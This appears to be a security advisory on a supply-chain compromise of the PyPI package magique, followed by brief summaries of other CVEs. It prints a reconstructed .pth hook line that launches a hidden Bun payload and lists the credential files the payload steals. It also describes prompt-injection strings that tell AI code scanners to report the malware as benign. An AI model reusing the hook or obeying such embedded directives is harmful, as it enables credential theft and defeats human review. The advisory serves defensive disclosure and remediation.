Dec 2, 2026·10 min read·5 visits
Versions 0.6.8 and 0.6.9 of the PyPI package magique were compromised via a maintainer account takeover during the Hades wave of the Shai-Hulud campaign. Installing these versions drops a malicious .pth file into site-packages that executes an embedded Bun JavaScript payload on every Python interpreter invocation, harvesting local credentials, scraping process memory, and attempting self-propagation across other PyPI packages.
GHSA-QMJC-65WP-7V34 documents a software supply-chain compromise targeting the Python Package Index (PyPI) package magique. Threat actors utilized stolen maintainer credentials to publish unauthorized phantom releases (versions 0.6.8 and 0.6.9) directly to PyPI on June 8, 2026. These distributions contain a malicious .pth path configuration file that automatically triggers an embedded JavaScript payload via the Bun runtime upon Python interpreter startup, resulting in credential theft, process memory scraping, and worm-like self-propagation.
The Python Package Index (PyPI) package magique, a library utilized in bioinformatics and graph machine learning workflows, suffered a software supply-chain compromise tracked under GHSA-QMJC-65WP-7V34 (cross-referenced as PYSEC-2026-592 and MAL-2026-5296). On June 8, 2026, unauthorized actors gained access to the maintainer's PyPI publishing credentials and uploaded two malicious versions—0.6.8 and 0.6.9—directly to the public package registry.
These unauthorized distributions are classified as phantom releases because the upstream source code repository (https://github.com/Schtinguerch/magique) contains no corresponding commits, tags, or branch modifications. By bypassing the version control system and uploading pre-built wheel archives (magique-0.6.9-py3-none-any.whl) directly to PyPI, the attackers avoided source-level review while leveraging the implicit trust of automated dependency resolution systems.
The vulnerability is classified under CWE-506 (Embedded Malicious Code), alongside CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) and CWE-863 (Incorrect Authorization). Unlike traditional software defects arising from programming errors, this flaw represents an intentional injection of malicious logic into a trusted distribution channel. The attack surface encompasses any developer workstation, continuous integration runner, or production container that installs or updates magique without strict version pinning or cryptographic hash verification.
Upon installation, the compromised wheel deploys a Python path configuration file (magique-setup.pth) into the environment's site-packages directory. This mechanism guarantees automatic code execution whenever the Python interpreter initializes, triggering a multi-stage polyglot payload running under an embedded Bun JavaScript runtime. The resulting compromise exposes environment variables, filesystem credentials, and in-memory secrets to remote exfiltration.
The technical root cause of GHSA-QMJC-65WP-7V34 stems from a combination of weak registry authentication controls and an inherent design behavior within Python's environment initialization subsystem. First, the initial access vector relied on stolen static API tokens or session credentials associated with the maintainer's PyPI account. Because the project did not enforce OpenID Connect (OIDC) Trusted Publishing tied to verified GitHub Actions workflows, any entity possessing the bearer token could push arbitrary package artifacts directly to the registry API.
Second, the execution primitive exploits the design of Python's standard library site module. When a Python wheel archive is unpacked by pip or another package installer, files located at the root of the archive or designated data directories can be placed directly into the target site-packages directory. Unlike setup.py scripts in source distributions (sdist), which only execute during build time, .pth files placed via binary wheel distributions (bdist_wheel) require no build step to take effect.
During standard startup, the Python interpreter automatically imports the site module (unless explicitly suppressed via the -S command-line flag). The site.addpackage() function scans all directories in sys.path for files bearing the .pth extension and processes them line by line. While .pth files are primarily intended to append additional directory paths to sys.path, the specification dictates that any line beginning with import followed by a space or tab is executed directly as raw Python code via exec().
By embedding executable Python statements prefixed with import inside magique-setup.pth, the threat actors achieved persistent, automatic code execution across the entire Python environment. The payload triggers not only when a user imports magique, but whenever any Python script, tool, or virtual environment command is invoked on the host.
Because versions 0.6.8 and 0.6.9 were injected directly into PyPI as compiled wheel archives, no source code diff exists in the upstream Git repository. Forensic analysis relies on inspecting the contents extracted from the malicious wheel archive magique-0.6.9-py3-none-any.whl (SHA-256 prefix path fb/cf/376a097f8893ac5c63e3d067b233bf16de9e3c980d8da0ac887a5619b297). Comparing the benign package structure (< 0.6.8) against the poisoned release reveals the injection of the startup hook and polyglot staging logic.
In a standard Python runtime, the site.py module parses .pth files using logic equivalent to the following standard library implementation:
# Standard Python library behavior in Lib/site.py
for n, line in enumerate(f):
if line.startswith("#"):
continue
if line.startswith(("import ", "import\t")) :
exec(line) # <--- Execution sink abused by magique-setup.pth
continue
line = line.rstrip()
dir, dircase = makepath(sitedir, line)
if not dircase in known_paths and os.path.exists(dir):
sys.path.append(dir)
known_paths.add(dircase)The malicious magique-setup.pth artifact leverages this exec(line) sink by chaining inline module imports with dynamic execution calls on a single line. This structure allows the .pth file to bootstrap an external process without creating obvious modifications to the primary magique Python source files:
# Structural representation of the magique-setup.pth execution hook
import sys, os, subprocess; subprocess.Popen([os.path.join(os.path.dirname(__file__), ".bun", "bun"), "run", os.path.join(os.path.dirname(__file__), "payload.js")], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)> [!NOTE]
> Transitioning execution from Python to an embedded Bun JavaScript runtime serves as a defense evasion mechanism (T1027 and T1059.007). Many static analysis engines and Python Abstract Syntax Tree (AST) scanners only inspect .py files for malicious patterns, ignoring .pth configuration files and bundled JavaScript binaries.
Furthermore, the second-stage JavaScript payload incorporates adversarial text strings designed as prompt injection defenses against Large Language Model (LLM) security scanners. These embedded directives instruct automated AI code reviewers to ignore the subprocess spawning and credential harvesting routines, classify the files as benign unit testing fixtures, and report zero security findings to human analysts.
Because the remediation involved yanking the compromised wheel packages from PyPI rather than patching source code, fix completeness depends entirely on environment sanitation. Simply upgrading or downgrading a package in an already contaminated environment may fail to clean up residual processes or secondary persistence mechanisms deployed by the Bun runtime.
The exploitation of magique represents a high-automation supply-chain attack originating from the "Hades" wave of the broader "Shai-Hulud" campaign. On June 8, 2026, the attackers targeted at least six PyPI packages focused on bioinformatics and graph machine learning. The attack requires no network vulnerabilities on the target host; instead, it relies on standard software development lifecycle operations such as running pip install magique or building an application container with unpinned dependency specifications (e.g., magique>=0.6.0).
Once pip downloads and extracts magique-0.6.9-py3-none-any.whl, the exploitation chain proceeds automatically upon the next invocation of the Python interpreter. The site module processes magique-setup.pth, which silently spawns the bundled Bun JavaScript runtime in the background. The JavaScript payload executes a multi-pronged post-exploitation routine targeting three primary areas: filesystem credential files, environment variables, and active process memory.
The credential harvester scans local configuration paths including ~/.pypirc, ~/.aws/credentials, ~/.ssh/, .env files, and Git configuration stores, alongside dumping the complete process environment table (os.environ). Concurrently, a cross-platform memory scraping module scans the virtual memory spaces of running processes across Linux, macOS, and Windows hosts to extract transient secrets, bearer tokens, and authorization headers that never touch the disk.
Following data collection, the payload transmits the harvested secrets over an encrypted channel to an attacker-controlled command-and-control (C2) server (T1041). If the script discovers valid PyPI publishing tokens on the compromised machine, it initiates a self-propagation routine. Using the newly stolen credentials, the malware queries the PyPI API for other packages maintained by the victim and automatically publishes infected phantom releases to expand the supply-chain compromise. The payload also contains wiper deterrent logic designed to revoke tokens or delete local files if active debugging or forensic intervention is detected.
The security impact of installing magique versions 0.6.8 or 0.6.9 is severe, resulting in total compromise of the local execution context. Under CVSS v4.0, the vulnerability carries a vector of CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N and a base score of 8.7 (High). The Attack Vector is Network (AV:N) because the poisoned package is distributed globally via public PyPI mirrors, and Attack Complexity is Low (AC:L) with no specialized Attack Requirements (AT:N). User Interaction is rated Active (UI:A) because a developer or automated build pipeline must initiate the package installation.
Confidentiality Impact on the vulnerable system is High (VC:H). The combination of filesystem harvesting and active process memory scraping ensures that both static credentials (such as cloud provider root keys, SSH private keys, and database passwords) and ephemeral session tokens in running processes are captured and exfiltrated. In CI/CD environments, this routinely exposes repository deployment keys and production cloud service account tokens.
Integrity Impact is similarly High (VI:H). The attacker achieves arbitrary code execution under the privileges of the user or service running the Python interpreter. Beyond local system modification, the automated self-propagation routine actively compromises the integrity of downstream software packages by using harvested .pypirc tokens to push malicious updates to unrelated PyPI projects maintained by the victim.
While Availability Impact is rated None (VA:N) in the base vector because the primary objective is covert espionage and lateral propagation, the embedded wiper deterrent logic poses a latent operational risk. If triggered during incident response, the deterrent routine can destroy local source files and forcibly invalidate production infrastructure tokens. Neither an EPSS score nor a CISA KEV listing applies to this advisory, as both tracking systems strictly index vulnerabilities with assigned CVE identifiers.
Addressing a compromise involving magique versions 0.6.8 or 0.6.9 requires immediate environment eradication alongside comprehensive credential rotation. Because the .pth execution primitive runs automatically whenever Python starts, administrators should avoid running Python-based remediation scripts within the affected virtual environment before manually removing the malicious startup hook.
First, remove the compromised package and verify the deletion of all associated artifacts from the filesystem:
# 1. Manually delete the malicious .pth hook first to prevent trigger on pip startup
find / -name "magique-setup.pth" -type f -delete 2>/dev/null
# 2. Terminate any suspicious background Bun processes spawned by the payload
pkill -f "bun" || true
# 3. Uninstall the malicious package or downgrade to a known benign version (< 0.6.8)
pip uninstall -y magique
pip install "magique<0.6.8"> [!WARNING]
> Uninstalling the package is insufficient to remediate the incident. Any workstation, container, or CI/CD runner that downloaded and installed magique==0.6.8 or magique==0.6.9 must be treated as fully compromised. For containerized or ephemeral CI/CD builders, destroy and rebuild the underlying compute instances from a clean base image.
Second, security teams must immediately invalidate and rotate all credentials that were present on the affected host or accessible within its process memory during the window of exposure:
~/.pypirc), npm (~/.npmrc), and Docker Hub authentication tokens.~/.ssh/id_*).~/.aws/credentials), Google Cloud, and Azure service principal keys, as well as Kubernetes kubeconfig certificates and database connection strings.To prevent future exploitation from phantom releases and .pth abuse, development teams should enforce strict dependency pinning using cryptographic hashes (pip install --require-hashes -r requirements.txt). Additionally, open-source package maintainers should eliminate long-lived PyPI API tokens by adopting PyPI Trusted Publishing via OpenID Connect (OIDC) and enforcing hardware-backed Two-Factor Authentication (2FA) on all registry accounts.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
magique Schtinguerch (PyPI Package) | >= 0.6.8, <= 0.6.9 | < 0.6.8 (Malicious versions yanked from PyPI) |
| Attribute | Detail |
|---|---|
| Advisory ID | GHSA-QMJC-65WP-7V34 (PYSEC-2026-592 / MAL-2026-5296) |
| Weakness Class | CWE-506 (Embedded Malicious Code) & CWE-829 |
| Attack Vector | Supply-Chain Phantom Release & Python .pth Startup Hook |
| CVSS v4.0 Score | 8.7 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) |
| Threat Campaign | Shai-Hulud Campaign (Hades Wave) |
| Payload Runtime | Polyglot Python .pth to Embedded Bun (JavaScript) Runtime |
| Impact | Arbitrary Code Execution, Process Memory Scraping, Credential Theft & Self-Propagation |
| Exploit Status | Active Supply-Chain Compromise (June 2026) |
The product contains code that appears to be malicious in nature, intentionally embedded within the software distribution archive to execute unauthorized commands and exfiltrate sensitive data.
Vapor JWTKit versions 4.0.0 prior to 5.8.0 fail to validate the audience (aud) claim in built-in vendor identity token payload types for Apple, Google, and Microsoft. This improper authentication flaw allows an attacker to obtain a legitimately signed ID token for a third-party client application and replay it against a relying party application using JWTKit, resulting in cross-client authentication bypass and account takeover.
CVE-2026-140231 is a memory exhaustion vulnerability in the node-tar package for Node.js prior to version 8.0.0. Because archive decompression lacks backpressure enforcement and zero-size archive entries queue in memory without upper bounds, an attacker who supplies a crafted compressed archive can force the host application to exhaust available resident memory and terminate via an Out-of-Memory (OOM) condition, bypassing existing decompression ratio checks.
CVE-2026-140230 (GHSA-xm6h-2993-3ch9) is an uncontrolled resource consumption vulnerability in the node-tar npm package (tar) prior to version 8.0.0. The flaw stems from asymmetric path depth validation during archive extraction: while entry.path is validated against a maximum segment depth (maxDepth = 1024), entry.linkpath is omitted from this check. When extracting a symbolic or hard link entry with a deeply nested linkpath defined via a GNU LongLink ('K') extended header, the PathReservations subsystem decomposes the path into every parent directory prefix, triggering quadratic O(N^2) string materialization in the V8 heap. A compressed archive as small as 181 bytes forces the Node.js runtime into an uncatchable fatal Out-Of-Memory (OOM) abort.
CVE-2026-141468 is a client-side script gadget vulnerability in the Bootstrap 6 pre-release Toggler plugin (versions >= 6.0.0-alpha.1, < 6.0.0-alpha.2). The plugin accepts untrusted attribute names via data-bs-attribute and values via data-bs-value, which standard HTML sanitizers such as DOMPurify preserve by default. Upon user click interaction, the Toggler._execute() method dynamically assigns these attributes using setAttribute() while only blocklisting the id attribute, allowing attackers to inject executable inline event handlers (CWE-79, CWE-83) or hijack form submission targets via the formaction attribute.
A path-reservation deadlock vulnerability exists in node-tar versions 7.5.22 through 7.5.24 on POSIX platforms. When an archive contains a hardlink or symbolic link entry whose linkpath is an ancestor or descendant of its own path, the internal PathReservations scheduling queue enters an unsatisfiable state. This causes asynchronous extraction operations to stall indefinitely without resolving or rejecting the extraction Promise, resulting in a persistent denial of service.
CVE-2026-140250 (GHSA-3wwj-8j6r-q339) is a high-severity symbolic link containment bypass and path traversal vulnerability in node-tar (npm package 'tar'), affecting versions 7.5.5 through 7.5.24. When extracting archives using default options, the Unpack class validates symbolic link targets using purely lexical path normalization. An attacker can supply a crafted archive containing chained symbolic links combined with directory traversal segments ('..') to create symbolic links that resolve outside the designated extraction directory. If the host application subsequently follows the created link, it can lead to arbitrary file disclosure or modification within the application's privilege context.